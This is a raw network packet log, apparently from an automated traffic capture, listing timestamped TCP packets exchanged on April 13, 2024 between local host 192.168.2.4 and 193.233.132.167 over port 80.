Apr 13, 2024 20:21:23.746325016 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746355057 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746393919 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746411085 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746431112 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746448040 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746469021 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746481895 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746506929 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746550083 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746557951 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746587992 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746598005 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746628046 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746639013 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746669054 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746678114 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746711969 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746750116 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746762991 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746788025 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746798992 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746825933 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746833086 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746862888 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746884108 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746901989 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746917009 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746938944 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746948957 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.746978998 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.746988058 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747019053 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747025967 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747056961 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747093916 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747104883 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747132063 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747136116 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747172117 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747211933 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747214079 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747251034 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747271061 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747272015 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747291088 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747302055 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747309923 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747328043 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747328043 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747338057 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747344971 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747359991 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747363091 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747381926 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747384071 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747400045 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747416973 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747422934 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747438908 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747451067 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747456074 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747474909 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747490883 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747494936 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747509003 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747529030 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747534990 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747546911 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747560024 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747565985 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747582912 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747594118 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747601032 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747617960 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747628927 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747636080 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747649908 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747654915 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747673988 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747683048 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747692108 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747709990 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747730017 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747737885 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747737885 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747746944 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747765064 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747770071 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747785091 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747806072 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747833967 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747844934 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747864962 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747874975 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747891903 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747908115 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747915983 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747925997 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747942924 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747955084 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747960091 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747976065 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.747978926 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.747997046 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748008966 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.748013973 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748032093 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748044014 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.748051882 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748064041 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.748070002 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748087883 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748096943 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.748106003 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748125076 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748131037 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.748142958 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748152018 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.748161077 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748178959 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748186111 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.748197079 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748215914 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:23.748230934 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.748250961 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.748281956 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.748995066 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:23.749166965 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.050326109 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.050717115 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.068197966 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.068300009 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.068392992 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.075150967 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.075251102 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.075370073 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.090415955 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090481043 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090519905 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090563059 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090578079 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.090605974 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090609074 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.090653896 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090672016 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.090698004 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090715885 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.090735912 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090759039 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.090775013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090786934 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.090814114 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090830088 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.090852976 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090862989 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.090892076 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090931892 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.090969086 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091005087 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091041088 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091083050 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091123104 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091161013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091175079 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091200113 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091209888 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091259956 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091264963 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091300011 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091341972 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091366053 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091381073 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091398001 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091418982 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091439962 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091460943 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091485977 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091500998 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091511965 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091538906 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091545105 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091578007 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091614962 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091630936 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091651917 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091660976 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091691971 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091706038 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091730118 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091768026 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091805935 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091813087 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091830969 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091845036 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091861010 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091883898 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091907978 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091921091 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091944933 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.091963053 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.091974020 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092001915 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092015028 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092045069 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092050076 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092083931 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092094898 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092123032 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092143059 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092161894 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092175007 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092201948 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092255116 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092258930 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092298031 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092335939 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092349052 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092374086 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092411041 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092423916 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092448950 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092459917 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092487097 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092499971 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092525005 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092534065 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092564106 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092601061 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092606068 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092641115 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092680931 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092690945 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092717886 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092756987 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092770100 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092794895 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092803001 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092832088 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092844009 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092873096 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092880011 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092914104 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092951059 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.092967987 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.092988014 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093003988 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093027115 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093040943 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093065977 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093103886 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093115091 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093142986 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093147039 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093180895 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093219995 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093235016 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093257904 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093266010 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093297005 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093307972 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093334913 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093357086 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093372107 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093389034 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093410969 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093419075 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093449116 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093461037 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093489885 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093527079 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093539953 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093564987 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093570948 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093605995 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093642950 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093653917 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093683958 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093686104 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093724966 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093760967 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093771935 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093800068 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093802929 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093837976 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093874931 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093890905 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093913078 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093924999 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093950987 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.093978882 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.093988895 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094003916 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094027996 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094028950 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094065905 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094104052 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094119072 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094141960 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094152927 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094180107 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094182968 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094217062 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094233036 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094257116 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094266891 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094295979 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094332933 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094347954 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094371080 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094381094 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094409943 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094429016 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094448090 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094460964 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094485998 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094499111 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094523907 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094562054 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094573021 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094599962 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094608068 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094639063 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094650984 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094680071 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094717026 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094729900 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094755888 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094762087 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094794035 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094801903 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:24.094835043 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:24.094872952 CEST	80	49749	193.233.132.167	192.168.2.4
